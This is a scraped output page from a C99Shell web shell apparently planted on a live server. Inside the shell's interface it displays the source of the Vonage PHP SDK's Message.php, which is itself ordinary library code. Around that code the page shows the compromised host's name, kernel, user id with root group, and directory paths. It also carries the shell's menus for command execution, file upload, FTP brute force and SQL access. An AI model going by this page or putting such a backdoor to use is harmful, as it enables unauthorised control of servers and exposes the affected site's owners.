!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html_old/vendor/vonage/client-core/src/Message/   drwxr-xr-x
Free 28.95 GB of 117.98 GB (24.54%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Message.php (11.49 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Vonage Client Library for PHP
 *
 * @copyright Copyright (c) 2016-2020 Vonage, Inc. (http://vonage.com)
 * @license https://github.com/Vonage/vonage-php-sdk-core/blob/master/LICENSE.txt Apache License 2.0
 */

declare(strict_types=1);

namespace 
Vonage\Message;

use 
ArrayAccess;
use 
Countable;
use 
DateTime;
use 
Exception;
use 
Iterator;
use 
RuntimeException;
use 
Vonage\Client\Exception\Exception as ClientException;
use 
Vonage\Entity\Hydrator\ArrayHydrateInterface;
use 
Vonage\Entity\JsonResponseTrait;
use 
Vonage\Entity\Psr7Trait;
use 
Vonage\Entity\RequestArrayTrait;

use function 
array_merge;
use function 
count;
use function 
get_class;
use function 
is_int;
use function 
is_null;
use function 
sprintf;
use function 
trigger_error;

/**
 * Abstract Message
 *
 * Extended by concrete message types (text, binary, etc).
 */
class Message implements MessageInterfaceCountableArrayAccessIteratorArrayHydrateInterface
{
    use 
Psr7Trait;
    use 
JsonResponseTrait;
    use 
RequestArrayTrait;
    use 
CollectionTrait;

    public const 
TYPE null;

    public const 
CLASS_FLASH 0;

    protected 
$responseParams = [
        
'status',
        
'message-id',
        
'to',
        
'remaining-balance',
        
'message-price',
        
'network'
    
];

    protected 
$current 0;

    protected 
$id;

    
/**
     * @var bool
     */
    
protected $autodetectEncoding false;

    
/**
     * @var array
     */
    
protected $data = [];

    public function 
__construct(string $idOrTo, ?string $from null, array $additional = [])
    {
        if (
is_null($from)) {
            
$this->id $idOrTo;

            return;
        }

        
$this->requestData['to'] = $idOrTo;
        
$this->requestData['from'] = $from;

        if (static::
TYPE) {
            
$this->requestData['type'] = static::TYPE;
        }

        
$this->requestData array_merge($this->requestData$additional);
    }

    
/**
     * Boolean indicating if you would like to receive a Delivery Receipt
     *
     * @throws Exception
     */
    
public function requestDLR($dlr true): self
    
{
        return 
$this->setRequestData('status-report-req'$dlr 0);
    }

    
/**
     * Webhook endpoint the delivery receipt is sent to for this message
     * This overrides the setting in the Dashboard, and should be a full URL
     *
     * @throws Exception
     */
    
public function setCallback(string $callback): self
    
{
        return 
$this->setRequestData('callback'$callback);
    }

    
/**
     * Optional reference of up to 40 characters
     *
     * @throws Exception
     */
    
public function setClientRef(string $ref): self
    
{
        return 
$this->setRequestData('client-ref'$ref);
    }

    
/**
     * The Mobile Country Code Mobile Network Code (MCCMNC) this number is registered with
     *
     * @throws Exception
     */
    
public function setNetwork(string $network): self
    
{
        return 
$this->setRequestData('network-code'$network);
    }

    
/**
     * The duration in milliseconds the delivery of an SMS will be attempted
     * By default this is set to 72 hours, but can be overridden if needed.
     * Vonage recommends no shorter than 30 minutes, and to keep at default
     * when possible.
     *
     * @throws Exception
     */
    
public function setTTL(int $ttl): self
    
{
        return 
$this->setRequestData('ttl'$ttl);
    }

    
/**
     * The Data Coding Scheme value of this message
     * Should be 0, 1, 2, or 3
     *
     * @throws Exception
     */
    
public function setClass(int $class): self
    
{
        return 
$this->setRequestData('message-class'$class);
    }

    public function 
enableEncodingDetection(): void
    
{
        
$this->autodetectEncoding true;
    }

    public function 
disableEncodingDetection(): void
    
{
        
$this->autodetectEncoding false;
    }

    
/**
     * @throws Exception
     */
    
public function count(): int
    
{
        
$data $this->getResponseData();

        if (!isset(
$data['messages'])) {
            return 
0;
        }

        return 
count($data['messages']);
    }

    
/**
     * @param null|mixed $index
     *
     * @throws Exception
     */
    
public function getMessageId($index null): ?string
    
{
        return 
$this->id ?? $this->getMessageData('message-id'$index);
    }

    
/**
     * @param null|mixed $index
     *
     * @throws Exception
     */
    
public function getStatus($index null)
    {
        return 
$this->getMessageData('status'$index);
    }

    
/**
     * @param null|mixed $index
     *
     * @throws Exception
     */
    
public function getFinalStatus($index null)
    {
        return 
$this->getMessageData('final-status'$index);
    }

    
/**
     * @param null|mixed $index
     *
     * @throws Exception
     */
    
public function getTo($index null)
    {
        
$data = @$this->getResponseData();

        
//check if this is data from a send request
        //(which also has a status, but it's not the same)
        
if (isset($data['messages'])) {
            return 
$this->getMessageData('to'$index);
        }

        return 
$this->data['to'];
    }

    
/**
     * @param null|mixed $index
     *
     * @throws Exception
     */
    
public function getRemainingBalance($index null)
    {
        return 
$this->getMessageData('remaining-balance'$index);
    }

    
/**
     * @param null|mixed $index
     *
     * @throws Exception
     */
    
public function getPrice($index null)
    {
        
$data $this->getResponseData();

        
//check if this is data from a send request
        //(which also has a status, but it's not the same)
        
if (isset($data['messages'])) {
            return 
$this->getMessageData('message-price'$index);
        }

        return 
$this->data['price'];
    }

    
/**
     * @param null|mixed $index
     *
     * @throws Exception
     */
    
public function getNetwork($index null)
    {
        return 
$this->getMessageData('network'$index);
    }

    
/**
     * @throws Exception
     */
    
public function getDeliveryStatus()
    {
        @
$data $this->getResponseData();

        
//check if this is data from a send request
        //(which also has a status, but it's not the same)
        
if (isset($data['messages'])) {
            return 
null;
        }

        return 
$this->data['status'];
    }

    public function 
getFrom()
    {
        return 
$this->data['from'];
    }

    public function 
getBody()
    {
        return 
$this->data['body'];
    }

    
/**
     * @throws Exception
     */
    
public function getDateReceived(): DateTime
    
{
        return new 
DateTime($this->data['date-received']);
    }

    public function 
getDeliveryError()
    {
        return 
$this->data['error-code'];
    }

    public function 
getDeliveryLabel()
    {
        return 
$this->data['error-code-label'];
    }

    public function 
isEncodingDetectionEnabled(): bool
    
{
        return 
$this->autodetectEncoding;
    }

    
/**
     * @param null|mixed $index
     *
     * @throws Exception
     */
    
protected function getMessageData($name$index null)
    {
        if (!isset(
$this->response)) {
            return 
null;
        }

        
$data $this->getResponseData();

        if (
is_null($index)) {
            
$index $this->count() - 1;
        }

        if (isset(
$data['messages'])) {
            return 
$data['messages'][$index][$name];
        }

        return 
$data[$name] ?? null;
    }

    protected function 
preGetRequestDataHook(): void
    
{
        
// If $autodetectEncoding is true, we want to set the `type`
        // field in our payload
        
if ($this->isEncodingDetectionEnabled()) {
            
$this->requestData['type'] = $this->detectEncoding();
        }
    }

    protected function 
detectEncoding(): ?string
    
{
        if (!isset(
$this->requestData['text'])) {
            return static::
TYPE;
        }

        
// Auto detect unicode messages
        
$detector = new EncodingDetector();

        if (
$detector->requiresUnicodeEncoding($this->requestData['text'])) {
            return 
Unicode::TYPE;
        }

        return static::
TYPE;
    }

    
/**
     * @throws ClientException
     * @throws Exception
     */
    
public function offsetExists($offset): bool
    
{
        
trigger_error(
            
"Array access for " get_class($this) . " is deprecated, please use getter methods",
            
E_USER_DEPRECATED
        
);

        
$response = @$this->getResponseData();

        if (isset(
$this->index)) {
            
$response $response['items'][$this->index];
        }

        
$request = @$this->getRequestData();
        
$dirty = @$this->getRequestData(false);

        if (isset(
$response[$offset]) || isset($request[$offset]) || isset($dirty[$offset])) {
            return 
true;
        }

        
//provide access to split messages by virtual index
        
if (is_int($offset) && $offset $this->count()) {
            return 
true;
        }

        return 
false;
    }

    
/**
     * @throws ClientException
     * @throws Exception
     */
    
#[\ReturnTypeWillChange]
    public function 
offsetGet($offset)
    {
        
trigger_error(
            
"Array access for " get_class($this) . " is deprecated, please use getter methods",
            
E_USER_DEPRECATED
        
);

        
$response = @$this->getResponseData();

        if (isset(
$this->index)) {
            
$response $response['items'][$this->index];
        }

        
$request = @$this->getRequestData();
        
$dirty = @$this->getRequestData(false);

        if (isset(
$response[$offset])) {
            return 
$response[$offset];
        }

        
//provide access to split messages by virtual index, if there is data
        
if (isset($response['messages'])) {
            if (
is_int($offset) && isset($response['messages'][$offset])) {
                return 
$response['messages'][$offset];
            }

            
$index $this->count() - 1;

            if (isset(
$response['messages'][$index][$offset])) {
                return 
$response['messages'][$index][$offset];
            }
        }

        return 
$request[$offset] ?? $dirty[$offset] ?? null;
    }

    public function 
offsetSet($offset$value): void
    
{
        throw 
$this->getReadOnlyException($offset);
    }

    public function 
offsetUnset($offset): void
    
{
        throw 
$this->getReadOnlyException($offset);
    }

    protected function 
getReadOnlyException($offset): RuntimeException
    
{
        return new 
RuntimeException(
            
sprintf(
                
'can not modify `%s` using array access',
                
$offset
            
)
        );
    }

    
/**
     * @throws Exception
     */
    
#[\ReturnTypeWillChange]
    public function 
current()
    {
        if (!isset(
$this->response)) {
            return 
null;
        }

        
$data $this->getResponseData();
        return 
$data['messages'][$this->current];
    }

    public function 
next(): void
    
{
        
$this->current++;
    }

    #[
\ReturnTypeWillChange]
    public function 
key()
    {
        if (!isset(
$this->response)) {
            return 
null;
        }

        return 
$this->current;
    }

    
/**
     * @throws Exception
     */
    
#[\ReturnTypeWillChange]
    public function 
valid(): ?bool
    
{
        if (!isset(
$this->response)) {
            return 
null;
        }

        
$data $this->getResponseData();
        return isset(
$data['messages'][$this->current]);
    }

    public function 
rewind(): void
    
{
        
$this->current 0;
    }

    public function 
fromArray(array $data): void
    
{
        
$this->data $data;
    }

    public function 
toArray(): array
    {
        return 
$this->data;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--